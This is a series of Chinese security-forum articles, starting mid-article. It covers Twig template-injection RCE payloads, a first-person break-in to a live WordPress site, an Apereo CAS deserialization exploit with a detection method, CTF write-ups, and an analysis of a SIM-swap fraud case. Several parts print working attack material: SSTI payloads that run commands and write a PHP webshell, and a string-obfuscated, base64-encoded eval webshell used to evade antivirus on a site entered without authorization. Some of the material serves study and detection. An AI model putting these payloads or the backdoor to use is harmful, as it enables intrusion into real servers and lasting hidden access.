{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
但是在 Twig 2.x 及 Twig 3.x 以后，`_self` 的作用发生了变化，只能返回当前实例名字符串：
所以以上 Payload 只能适用于 Twig 1.x 。
### Twig 2.x / 3.x
测试代码如下：
* index.php
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
到了 Twig 2.x / 3.x 版本中，`__self` 变量在 SSTI 中早已失去了他的作用，但我们可以借助新版本中的一些过滤器实现攻击目的。
#### 使用 map 过滤器
在 Twig 3.x 中，`map` 这个过滤器可以允许用户传递一个箭头函数，并将这个箭头函数应用于序列或映射的元素：
{% set people = [
{first: "Bob", last: "Smith"},
{first: "Alice", last: "Dupond"},
] %}
{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
// Output: outputs Bob Smith, Alice Dupond
{% set people = {
"Bob": "Smith",
"Alice": "Dupond",
} %}
{{ people|map((last, first) => "#{first} #{last}")|join(', ') }}
// Output: outputs Bob Smith, Alice Dupond
当我们如下使用 `map` 时：
{{["Mark"]|map((arg)=>"Hello #{arg}!")}}
Twig 3.x 会将其编译成：
twig_array_map([0 => "Mark"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))})
这个 `twig_array_map` 函数的源码如下：
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k); // 直接将 $arrow 当做函数执行
}
return $r;
}
从上面的代码我们可以看到，传入的 `$arrow` 直接就被当成函数执行，即 `$arrow($v, $k)`，而 `$v` 和 `$k` 分别是
`$array` 中的 value 和 key。`$array` 和 `$arrow`
都是我们我们可控的，那我们可以不传箭头函数，直接传一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。通过查阅常见的命令执行函数：
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
前三个都可以使用。相应的 Payload 如下：
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}} // 无回显
其中，`{{["id"]|map("system")}}` 会被成下面这样：
twig_array_map([0 => "id"], "sysetm")
最终在 `twig_array_map` 函数中将执行 `system('id',0)`。执行结果如下图所示：
如果上面这些命令执行函数都被禁用了，我们还可以执行其他函数执行任意代码：
{{["phpinfo();"]|map("assert")|join(",")}}
{{{"<?php phpinfo();eval($_POST[whoami])":"/var/www/html/shell.php"}|map("file_put_contents")}} // 写 Webshell
按照 `map` 的利用思路，我们去找带有 `$arrow` 参数的，可以发现下面几个过滤器也是可以利用的。
#### 使用 sort 过滤器
这个 `sort` 筛选器可以用来对数组排序。
{% for user in users|sort %}
...
{% endfor %}
你可以传递一个箭头函数来对数组进行排序：
{% set fruits = [
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
] %}
{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
{{ fruit }}
{% endfor %}
// Output in this order: Oranges, Grapes, Apples
类似于 `map`，模板编译的过程中会进入 `twig_sort_filter` 函数，这个 `twig_sort_filter` 函数的源码如下：
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
uasort($array, $arrow); // 直接被 uasort 调用
} else {
asort($array);
}
return $array;
}
从源码中可以看到，`$array` 和 `$arrow` 直接被 `uasort` 函数调用。众所周知 `uasort`
函数可以使用用户自定义的比较函数对数组中的元素按键值进行排序，如果我们自定义一个危险函数，将造成代码执行或命令执行：
php > $arr = ["id",0];
php > usort($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >
知道了做这些我们便可以构造 Payload 了：
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 无回显
#### 使用 filter 过滤器
这个 `filter` 过滤器使用箭头函数来过滤序列或映射中的元素。箭头函数用于接收序列或映射的值：
{% set lists = [34, 36, 38, 40, 42] %}
{{ lists|filter(v => v > 38)|join(', ') }}
// Output: 40, 42
类似于 `map`，模板编译的过程中会进入 `twig_array_filter` 函数，这个 `twig_array_filter` 函数的源码如下：
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函数调用
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
从源码中可以看到，`$array` 和 `$arrow` 直接被 `array_filter` 函数调用。 `array_filter`
函数可以用回调函数过滤数组中的元素，如果我们自定义一个危险函数，将造成代码执行或命令执行：
php > $arr = ["id"];
php > array_filter($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >
下面给出几个 Payload：
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 无回显
#### 使用 reduce 过滤器
这个 `reduce` 过滤器使用箭头函数迭代地将序列或映射中的多个元素缩减为单个值。箭头函数接收上一次迭代的返回值和序列或映射的当前值：
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
// Output: 6
类似于 `map`，模板编译的过程中会进入 `twig_array_reduce` 函数，这个 `twig_array_reduce` 函数的源码如下：
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}
从源码中可以看到，`$array` 和 `$arrow` 直接被 `array_filter` 函数调用。 `array_reduce`
函数可以发送数组中的值到用户自定义函数，并返回一个字符串。如果我们自定义一个危险函数，将造成代码执行或命令执行。
直接给出 Payload：
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显
## Twig 模板注入相关 CTF 例题
### [BJDCTF2020]Cookie is so stable
经测试，发现在 Cookie 处存在 SSTI 漏洞：
根据 SSTI 的测试流程发现目标环境使用了 Twig 模板，版本是 Twig 1.x，直接上 Payload 打就行了：
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
### [VolgaCTF 2020 Qualifier]Newsletter
题目给了源码：
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;
class MainController extends AbstractController
{
public function index(Request $request)
{
return $this->render('main.twig');
}
public function subscribe(Request $request, MailerInterface $mailer)
{
$msg = '';
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
if($email !== FALSE) {
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();
$mail = (new Email())->from('[email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);
$msg = 'Success';
} else {
$msg = 'Invalid email';
}
return $this->render('main.twig', ['msg' => $msg]);
}
public function source()
{
return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
}
}
从代码中可以看出，我们传送过去的 `$email` 被 `substr` 函数截取了 `@` 前面的字符串，然后赋给 `$name`，最后 `$name`
直接被拼接进模板进行渲染。这就存在一个 SSTI 漏洞。
但要利用漏洞，首先要绕过 `filter_var($request->request->get('email', ''),
FILTER_VALIDATE_EMAIL);` 的限制，要求传入的 email 必须是合法的 email 格式。
在 Stack Overflow 上找到这篇文章：[PHP FILTER_VALIDATE_EMAIL does not work
correctly](https://stackoverflow.com/questions/19220158/php-filter-validate-email-does-not-work-correctly)，底下的回复中提供了颇为完整的合法 email
范例列表，其中可以看到一个很重要的范例：`"()<>[]:,;@\\"!#$%&'*+-/=?^_``{}|
~.a"@example.org`，这个范例告诉我们，如果 email 的 `@`
前面的部分中含有一些特殊符号，只需要使用双引号将其括起来就行了。所以我们可以构造这样的 Payload：`"{{3*4}}"@qq.com`。
最终的 Payload 如下：
email="{{['id']|map('passthru')}}"@qq.com
## Ending......
> 参考：
>
> <https://xz.aliyun.com/t/7518#toc-5>
>
> <https://cyku.tw/volgactf-2020-qualifier/> | 社区文章 |
接到XX的指示，需要处理一件违禁物品的case。
目标网站：<http://*********.co.uk/site/index.htm>
查看主域名 <http://www.********.co.uk/>
CMS为WordPress。卖货的原来是开在英国服务器的寄生站，说明主站已被getshell了。
信息搜集差不多开始切入，根据wpcms目录结构查找后台 <http://www.*********.co.uk/wp-login.php>
用wpscan工具 对网站进行辅助嗅探(信息搜集要善用强大的工具)
wpscan --url http://www.*******.co.uk --enumerate u
可获得wordpress版本及插件版本信息，敏感目录，用户名
对用户名进行密码爆破，得到密码pass，成功登录后台（弱口令是诸多成功渗透案例的原因）
尝试寻找上传点传图片马，但是上传校验严格，未找到上传点，编辑插件plugins
404出错，无法将一句话编辑入插件（遇到了些许困难，渗透过程从来不是一帆风顺）
尝试百度wordprss插件下载，然后本地修改再上传插件激活（这是一个思路）
解压插件，改其中一个文件：利用file_put_contents(“xx.php”,’字符串’)写入一句话
这里需要注意判断并找到一句话最后的写入目录（../ma.php,or../../ma.php,or../../../ma.php,or....自己找）
最后为../aaaa.php 测试写入phpinfo()测试，成功
接下来就是怎么连了，cloudfire的缘故无法直接连接菜刀，主机存在杀毒软件，采用：变形老一句话，base64中转连接
变形老一句话
@eval(base64_decode($_POST['chop']));
QGVs2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2Nob3AnXSkpOw==
注意第四个s，s为下方$vbl去除的字符（也是为了混淆）
<?php $uf="BPU1";
$ka="QGVs2YWwoYmFzZT";
$pjt="Y0X2RlY29kZSgkX1";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); $iqw="RbJ2Nob3AnXSkpOw==";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp("", $bkf($vbl("s","", $ka.$pjt.$uf.$iqw))); $mpy(); ?>css_conf
最后合并为一行，Base64编码
PD9waHAgJHVmPSJCUFUxIjsgJGthPSJRR1ZzMllXd29ZbUZ6WlQiOyAkcGp0PSJZMFgyUmxZMjlrWlNna1gxIjsgJHZibCA9IHN0cl9yZXBsYWNlKCJ0aSIsIiIsInRpc3RpdHRpcnRpX3J0aWV0aXBsdGlhdGljZSIpOyAkaXF3PSJSYkoyTm9iM0FuWFNrcE93PT0iOyAkYmtmID0gJHZibCgiayIsICIiLCAia2Jha3NrZTZrNGtfa2RrZWtja29rZGtlIik7ICRzYnAgPSAkdmJsKCJjdHciLCIiLCJjdHdjY3R3cmVjdHdhdGN0d2VjdHdfZmN0d3VuY2N0d3RjdHdpb2N0d24iKTsgJG1weSA9ICRzYnAoIiIsICRia2YoJHZibCgicyIsIiIsICRrYS4kcGp0LiR1Zi4kaXF3KSkpOyAkbXB5KCk7ID8+Y3NzX2NvbmY=
利用刚才的插件写入
file_put_contents("../llll.php",base64_decode('PD9waHAgJHVmPSJCUFUxIjsgJGthPSJRR1ZzMllXd29ZbUZ6WlQiOyAkcGp0PSJZMFgyUmxZMjlrWlNna1gxIjsgJHZibCA9IHN0cl9yZXBsYWNlKCJ0aSIsIiIsInRpc3RpdHRpcnRpX3J0aWV0aXBsdGlhdGljZSIpOyAkaXF3PSJSYkoyTm9iM0FuWFNrcE93PT0iOyAkYmtmID0gJHZibCgiayIsICIiLCAia2Jha3NrZTZrNGtfa2RrZWtja29rZGtlIik7ICRzYnAgPSAkdmJsKCJjdHciLCIiLCJjdHdjY3R3cmVjdHdhdGN0d2VjdHdfZmN0d3VuY2N0d3RjdHdpb2N0d24iKTsgJG1weSA9ICRzYnAoIiIsICRia2YoJHZibCgicyIsIiIsICRrYS4kcGp0LiR1Zi4kaXF3KSkpOyAkbXB5KCk7ID8+Y3NzX2NvbmY='));
将文件添加入压缩包
上传插件，并激活
激活插件，执行写入文件
访问shell地址，可以写入
你有cloudfire我有php的base64中转脚本连接
这里还连接失败了一次，尝试添加登录后台cookie继续，成功开启脚本（指定一个未占用端口 9900）
可以菜刀了
没什么技术含量，翻翻旧账，丰富下先知的娱乐生活。轻点喷 | 社区文章 |
## 0x01 前言
1）某次在客户现场，被问到从Apereo Cas
RCE告警的举证信息（请求响应体）判断是否为真正的攻击还是误报，对于没复现过的我一脸懵逼地打开了各大论坛找资料，看是看得懂，主要解密也得花时间调试，于是就有了这篇文章。
2）又因为大部分师傅只是提了下回显利用的点子，实际上并没有放出完整回显的exp，所以就打算整一个完整的利用来学习下回显技术。其复现过程涉及到ysoserial的改造，几经折腾最后还是改好了，刺激。
本文主要从以下角度进行分析，漏洞利用复现，回显利用，ysoserial改造，检测思路。就不展开细讲原理了，好多师傅的文章已经讲得很通透了。
## 0x02 漏洞利用复现
1）环境搭建可以参考文章
https://www.anquanke.com/post/id/198842
可以看到该AperoCas已经启动，使用浏览器访问，填入用户名和密码并使用burp进行抓包，repeater该数据包
2）使用工具生成利用payload
工具地址：
https://github.com/vulhub/Apereo-CAS-Attack
我这里是源码调试，就不直接编译成jar再运行了，具体使用方法请参考上面的地址
String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
EncryptedTranscoder et = new EncryptedTranscoder();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
3）burp发包执行命令
将上面生成的字符串贴到execution处，即可执行命令，下图为弹出计算器
## 0x03 回显利用
回显的意义在于常常遇到站点所在系统环境不能出网（连接公网）的情况，回显会更加直接看到命令执行的返回内容。
1） 使用改造后的工具生成payload
java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonCollections4
将该payload替换至execution处，并在头部添加命令cmd:xxx
2）burp发包执行命令
## 0x04 检测思路
查看Apereo-CAS-Attack的代码可以看到直接调用的et.encode生成最终利用字符串，我们们翻翻看decode解码的地方（既反序列化漏洞触发点）
当然以上步骤按照常理来说，我应该从Apereo的整个流程上看才是最全最合理的，但此处为了尽快写出工具，因此直接拿这个工具现改。
encode：
decode：
从EncryptedTranscoder.encode是生成利用字符串的关键，而EncryptedTranscoder.decode则是解码执行的关键。
可以看到进行解密和解压缩之后得到的字节内容，输入对象输入流ObjectInputStream并通过readObject进行反序列化。如果我们要做检测，那就必然不需要走到readObject这一步（除非你想被上线到别人的cs，并被进行多人运动，狗头.jpg)
因此这里直接复制整个类，并对类添加一个单独的方法，将字节内容直接输出到文件当中，保存到文件中之后可以直接查看内容。由于大部分人其实都是直接使用ysoserial中的payload因此很容易直接判断该流量为攻击流量。
使用方法
java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar decode base64stringxxxx 1.txt
若字符串中存在呢ysoserial字符则直接返回Detect ysoserial
## 0x05 ysoserial改造
根据其他师傅的文章进行对ysoserial进行的改造
这里添加一个ApereoCas的类里面的内容为
根据00TheWay师傅的文章提供的思路，不过最后落地的时候还是参考了l1nk3r和DreamXu师傅实现的代码，做了一个整合。
## 0x06 工具地址
https://github.com/MrMeizhi/ysoserial-mangguogan
## 0x07 声明
本文的exp仅仅用于研究学习用，若有其他恶意行为，自行承担责任。狗头.jpg
## 0x08 Reference
<https://www.00theway.org/2020/01/04/apereo-cas-rce/>
<https://www.anquanke.com/post/id/198842>
<https://www.freebuf.com/vuls/226149.html> | 社区文章 |
题目链接：<https://pan.baidu.com/s/1p3s_RpW_fO_CUWXriFGuAQ>
提取码：4lvd
（提示：给出的这道题是我脱壳后的，因为没有及时保存原题，抱歉，不过是简单的UXP壳，大家直接用工具去脱也是可以的，所以相信大家没毛病）
这题是当时打南宁杯时的题目，拿到题目一起分析下：
1、首先用PEID查壳，发现是UXP壳，直接用工具脱壳，我的工具如下(这一步相信都没问题的)：
2、脱完壳，拖进OD，看看情况：
要求输入flag
3、接着拖进ida看看，F5大法：
看的出来v3是输入，然后是29位的长度，最后一位是125（字符是“}”）修改化简下：
这是第一关
从逻辑上看可以知道，do里面的就是检验的过程，是简单的异或加密，就是把输入的字符的前八位与dword_40803里面的东西异或，和右边的比较，相同则v7加一，然后继续下一位，直到v7
= 8，就是说验证前8位都是正确的后，才进入下一层sub_401170(第二关)，否则肯定是报错啦。
那么逻辑就是A^B=C，则C^B=A;我们要求input1，也就是要把dword_40803的东西与input[aMwwCTw-input]里面的东西进行异或才能得到input，下面去看看汇编：
先异或EBX和EBP结果存在EBX，再执行指令把数放到EBP中，比较EBX和EBP是否相等
这里无法直接看到，于是可以使用动态调试，地址是00401268，然后重点关注EBX和EBP寄存器的内容，运行OD：
分析逻辑，在00401253（循环开始的上方）在00401258和00401282这3个地方都下个断点
然后挂完断点跑程序，随便输入29位的字符，记住最后一位是}，如下：
在XOR指令那里记录EBX寄存器的值，即dword_40803里面的东西，在CMP指令那里记录EBP寄存器的值，即右边的input[aMwwCTw-input]里面的东西
认准寄存器！提取出来后写个python脚本吧：
到这里第一关闯过去了，字符的前8位是gxnnctf{，卧槽，这不是南宁杯的flag格式吗，一口老血吐出来......不过学到的东西是自己的（强行安慰自己）
接着继续第二关：
do那里可以看到又是异或操作，是紧接着的后5位验证，所以直接110异或*v3就可以得到那5位了，v3是由v5得到的，猜测v5是数组，转一下：
也就是V5的每一位异或110得到那5位：
其实大家想说那是不是在动态调试时也可以看到？答案是肯定的！所以如果没有给出的话，加大难度，那我们就动态调试出来，这里啰嗦下：
看栈里面的东西，一个一个地调出来，再来个脚本：
答案是一样的，但是我们更熟悉查看栈内容的技巧啦
接下来继续闯关！
这里第一个do的分析有些复杂，由于while里面是小于9，所以是把接下来的9位字符串处理，处理得到的12位的字符串存到v11中，看第二个do比较了12次，于是再次动态调试：
汇编地址是00401127，下断点跑程序，每次循环记录EDX寄存器的内容，也是DL的内容，写个脚本跑出来
由经验可知，是base64加密，于是在线解码
第三关结束！（其实本轮算法是base64加密算法需要经验.........可能这里有些难）
最后再进入sub_401000(也是最后一关)
由前面的可以知道，总共破解了8+5+9=22位字符，总长度29位，所以这是对接下来的6位字符（因为最后一位是“}”）的操作，分析逻辑可以知道，看do里面的if，右边的内容减2就是左边的，所以得先知道右边是什么，看汇编，再次动态调试：
地址是00401036，关注寄存器EBX的内容，
写个python脚本：
整合下代码，最终的flag就是gxnnctf{Se1f-M0difying_c0de!},我们去提交下吧！
总结技巧经验：本题学习动态调试查看栈里面的内容，以及异或加密操作，经历过后，我们的动态调试能力有所提升，汇编语言也学习到了一些，对于学习逆向的帮助还是很大的，希望能对大家有用，我也在学习的过程中，一起加油吧！ | 社区文章 |
# 趣火星之支付宝、网银盗刷事件分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**一种补卡攻击的套路全分析
**
**引言**
人在做,天在看。
360天眼实验室经常性地处理各种网络诈骗,骗子们八仙过海,各显其能,懂技术的用技术,技术不行的就看套路。本文对一个网友的被骗经历揭密其背后的逻辑,一切基于网友所提供出来的信息。
**套路分析**
2016年4月11日,趣火星发出了一篇文章,标题是“中国移动,请你告诉我,为什么一条短信就能骗走我所有的财产?”,文章中称“因为一条短信,一夜之间,我的支付宝、所有的银行卡信息都被攻破、所有银行卡的资金全部被转移。”
下面的分析都是基于作者长微博中所写而作,因为有些地方写的语焉不详故分析可能会有误。我们的分析顺着网络接收的信息揭露幕后黑手的目的和达到的阶段,我们看到受害者如何一步步在攻击者的诱导下泄露整个操作相关的关键数据,在一些地下黑库信息的推波助澜下,最终落入陷井成为猎物。
分析:订制这些业务的目的之一,就是引起手机使用者的注意。
分析:在这个过程中,实际上幕后的黑手就是要让手机使用者感觉到手机因为被瞎定制业务而导致停机。(注:此处截图,我故意抹去了验证码那条短信,原因后面会详述。)
分析:这个106581390开头的号码其实是139的邮箱服务,受害人所收到的短信,实际上是由手机号13816280086通过邮箱服务发送出来的。而受害人向10658139013816280086回复短信则实际上是将短信发送到手机号13816280086的139邮箱中。因此这个手机号的使用人参与作案的嫌疑是非常大的。关于139邮箱服务的介绍可以见下图。
图 139邮箱服务介绍。
分析:在前面的分析过程中,我故意截去了红框处的短信,现在放出来,就是让大家有个对短信的时间顺序有个了解。也就是说,在这个过程中,受害人收到了一条带有6位验证码的短信。那么这条短信有什么作用呢?原来这条短信是用来进行4G自助换卡的确认短信。
在受害人将这6位确认码通过短信回复给10658139013816280086之后,幕后黑手马上进入13816280086的139邮箱获取验证码并马上在网站上操作了自助换卡。而这个信息也和随后的“北京移动10086热线”回应相印证。
图 北京移动10086热线的回应
分析:也就是说,在回复完短信不久后,受害人的手机就无服务了,实际上就是受害人手中的SIM卡已经被作废了。而受害人却一直以为是停机了,实际上在这种情况下,一定要警醒,比如可以尝试用另外的号码拨打一下是不是停机状态(当然,这个方法并不一定靠谱,因为可以呼叫转移到一个停机的号码上)。这种攻击,算是补卡攻击形式的一种。
分析:手机连着wifi且支付宝还开着推送,正是因为这条信息,让受害人开始产生了一丝警觉。
分析:此时幕后黑手,已经将受害人的支付宝搞定了,并将受害人支付宝账号上的资金进行转移。
分析:这个号码和幕后黑手有什么关联目前不清楚。但13816280086这个号码肯定是有关联的。
分析:把钱转给一个可靠的好友,这个方法是可行的。另外,受害人其实可以看看,可信设备中,有没有其它异常机器的登录记录。
分析:中国银行、招商银行这些银行的登录密码都被改,可想受害人的密码应该是早就有泄露的。
分析:受害人的163邮箱也被搞了,至于说和前几天的网易52G有没有关不清楚,但纵观整个事件,受害人被幕后黑手提前做好了背景调查是肯定的。
分析:在百度钱包这个过程中,我比较好奇的是,受害人的银行卡号是如何被幕后黑手得知的?快捷支付目前主要是通过银行卡号、姓名、身份证号,银行卡绑定的手机号及下发到该手机号上的短信验证码进行鉴权。
**写在最后**
套用TK的一句话,我们可能是最后一波曾经有过隐私的人。
网络发达的现在,个人信息的保护尤其重要,特别是很多网站都发生过数据泄露事件。很多被曝出来的数据库都是在地下产业链中玩烂了,已经很难再榨取出价值后才被抛出的。
在这个事件中,实际上还存在很多疑问。比如,受害人的手机号、身份证、姓名、银行卡、银行登录密码、移动官网的登录密码、网易邮件等等这些信息,幕后黑手是怎么得到的? | 社区文章 |
# *CTF 2019国际赛安胜ISEC WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2019年4月29日上午9:00，第五届XCTF国际联赛分站赛——*CTF
2019国际赛宣告圆满落幕。据官方报道，本次赛事共有来自71个国家和地区的1026支队伍参赛，参赛人数达5078人。安胜ISEC团队本着学习交流、共同提高的目的，与各队伍同台竞技、互相切磋，最终获得第五名的成绩。
榜单结果
本次比赛面向全球CTF战队，在全球不同地点同时开赛。从4月27日早上9:00开始，比赛持续48小时，赛题分为pwn、reverse、crypto、web、misc几大类型，偏重于二进制，考察点从基本的汇编指令，到更深一步的高级漏洞利用都有涉及，需要参赛选手有较强的二进制基础，更考验队员之间的默契配合程度。
想知道我们的参赛选手们是如何见招拆招、攻克一道道难题的吗？别急，WriteUp解题思路看这里…..
## MISC
### misc1：She
Enjoy the game!
HINT：Please combine numbers in the order of the rooms
解题
通过分析下载文件发现是使用RPG Makr XP制作的一款游戏，下载RPG Maker XP V1.03
.exe软件，创建新项目，将项目中的Game.rxproj放到She目录下，打开文件即可进行游戏编辑，通过分析代码将第一只BOOS的攻击改为1。
图1
通过老鹰后，显示一些提示，会有幽灵找你，碰到要重新开始，通过编辑器将幽灵删除。
图2
有9个门，测试后37无条件打开，双击门判断门打开的前提条件，发现382157这个顺序，按照该顺序获取到的数值是371269，按照房间顺序排列得到213697。
图3
根据提示将拿到的数字进行MD5加密，得到d6f3fdffbcb462607878af65d059f274，即为flag。
### misc2：babyflash
Recently my younger brother learnt how to make a flash.
Here’s his first work.
解题
用JPEXS反编译flash.swf得到441张黑白图片和1个mp3文件。
图4
令黑的为1、白的为0利用python处理。
图5
图6
生成二维码。
图7
得到*ctf{half _flag_ &，用audacity打开mp3以频谱图显示。
图8
最后flag*ctf{half _flag_ &&_the_rest}。
### misc3：otaku
One day,you and your otaku friend went to the comic expo together and he had a
car accident right beside you.Before he died,he gave you a USB hard disk which
contained this zip.Please find out his last wish.
提示：The txt is GBK encoding.
解题
用winhex等工具打开压缩包去掉伪加密09标识，得到doc的一段话。
图9
Hello everyone, I am Gilbert. Everyone thought that I was killed, but actually
I survived. Now that I have no cash with me and I’m trapped in another
country. I cant contact Violet now. She must be desperate to see me and I dont
want her to cry for me. I need to pay 300 for the train, and 88 for the meal.
Cash or battlenet point are both accepted. I dont play the Hearthstone, and I
dont even know what is Rastakhans Rumble.
利用python处理，将此写入txt，编码为gbk。
根据注释：
压缩软件：winrar版本 5.70 beta 2
配置：zip压缩文件（低压缩率）
压缩方式：标准
下载winrar
图10
压缩后进行明文攻击，密钥从1开始。
图11
成功得到口令My_waifu，再解压图片zsteg
flag.png，最后得到flag*ctf{vI0l3t_Ev3rg[@RdeN](https://github.com/RdeN "@RdeN")}。
图12
### misc4：Sokoban
Lets play another Sokoban game.
You only have 60 seconds to complete 25 levels,the number of boxes is greater
than or equal to 1,less than or equal to 3,and the map size is at most 12*10.
$ nc 34.92.121.149 9091
解题
根据题目提示进行nc连接。
图13
发现是一个推箱子的游戏，需要找到最优解（路径最短），且在60秒内完成25个关卡。
C++编程实现找到最优解并提交通关。
文件夹下两个CPP为源文件，a为编译后的脚本部分代码：
图14
运行结果：
图15
## 二、CRYPTO
### crypto1：babyprng
$ nc 34.92.185.118 10002
解题
根据题目提示进行nc连接。
图16
下载py文件，根据程序了解，需要输入四个字符（字母数字）和随机的一串字符进行sha256加密，密文要等于给的那串。
py脚本：
图17
输入正确的四个字符后进入下一步，需要输入十六进制数。按题目中的程序，十六进制数有取值范围，使用py脚本暴力破解符合条件的数。
图18
图19
由于原本题目中的size为100000，本地根本跑不出来，修改size数值后获取了一个十六进制数。
图20
### crypto2：babyprng2
nc 34.92.185.118 10003
解题
第二题和第一题类似，第一步还是sha256，只是第二步多了些十六进制数匹配和数值修改。
py脚本：
图21
图22
这里size数值取1，十六进制数为5个，得到结果0004350106。
但在本地测试数值是否正确时，提交几遍后才出flag。在赛题环境中手动提交一直失败，而且在重新跑过脚本后出来的结果又不同，怀疑为脚本问题，但本地提交多次都成功，可能为最后随机数的问题，最终以一个PHP脚本提交答案。
图23
获取flag。
图24
### crypto3：notcurves
!!!this challenge is under maintaince. !!! For the sake of fairness you can
download the old script.
this challenge is up now! the file has been updated, you can download the old
script at here.$ nc 34.85.45.159 20005
解题
分析Python脚本源程序，发现其是两层加密，第一层是破解SHA256，求出输入字符的前4个字符，其破解SHA256的Python源代码如下。
图25
将上面破解求出的4个字母字符，提交服务器即可进入第二层破解算法。
图26
分析上述代码，进入这里的时候，前面很多应该是扰乱代码，输入”5”可进入下一步，输入一个坐标点(u,v)，使其满足条件：(u*v)%p==0，这里的p是两个15比特素数的乘积，尝试多次输入两个素数，才使其满足前面的条件。后来总结时发现其实是可以输入(0,0)的，这可能是出题者的一个失误。
图27
## 三、WEB
### web1：mywebsql
图28
提示：
图29
解题
通过admin/admin弱口令登录。
图30
找到一个Mywebsql漏洞：
<https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md>
Create a test table (code) and write a shell code in this table.
图31
Shell地址：
图32
使用perl反弹shell。
图33
转义单引号并url编码，根目录下有readflag和flag文件，执行readflag脚本提示一个算术题，需提交答案。由于无法直接输入，所以需要脚本实现结果的输入。
图34
使用PHP的proc_open来执行/readflag，并算出随机算式的答案重定向到程序中获取flag，附上脚本代码。
图35
### web2：Echohub
how2stack
图36
提示：
run.sh =>#!/bin/sh service —status-all | awk {print $4}| xargs -i service {}
start sleep infinity;
I am sorry for that `sandbox.php` is basically no use, so this challenge can
be solved more easily.
解题
进入题目，发现在data中提交任意字符都会返回phpinfo，而提交长度过大时会提示emmmmmm…Dont attack me!，查看页面代码，发现提示：
图37
提交之后得到源代码。查看phpinfo，发现disable_functions禁用很多，但是move_uploaded_file函数拼错了，所以可以利用其上传文件到指定目录，但open_basedir中的目录不存在，所以实际上无法使用。发现stream_socket_client、fputs、fgets、create_function这些函数没有禁止，所以可以利用其构造一个简易的phpshell。
查看index.php代码，通过混淆加密的方式加密代码，解密之后，查看源代码，提示“emmmmmm…Dont attack
me!”时应该是出现了栈溢出，采用srand函数使用时间戳对随机数进行布种，而时间戳可以通过phpinfo中的server变量得到，故本题中的随机数都可以预判。
预判其栈结构。
图38
修改index.php代码，将关键部分改掉，改成可以生成poc的程序。
图39
图40
图41
图42
这样就形成简易版poc程序，可以得到一个在30秒后执行命令的exp，由于php的create_function函数存在注入漏洞，通过该poc程序，调用create_function函数，就可以执行任意代码。
这就是构造完毕的exp，在服务器上观察一个端口，该exp成功执行后，就可以得到一个php的shell，可以执行任意php代码，执行结果通过ob_flush();flush();可以输出到页面上，也可以赋值给$s变量回显到shell上。
图43
图44
接下来就跟0ctf-2019一样，这里引用某篇文章说明。
图45
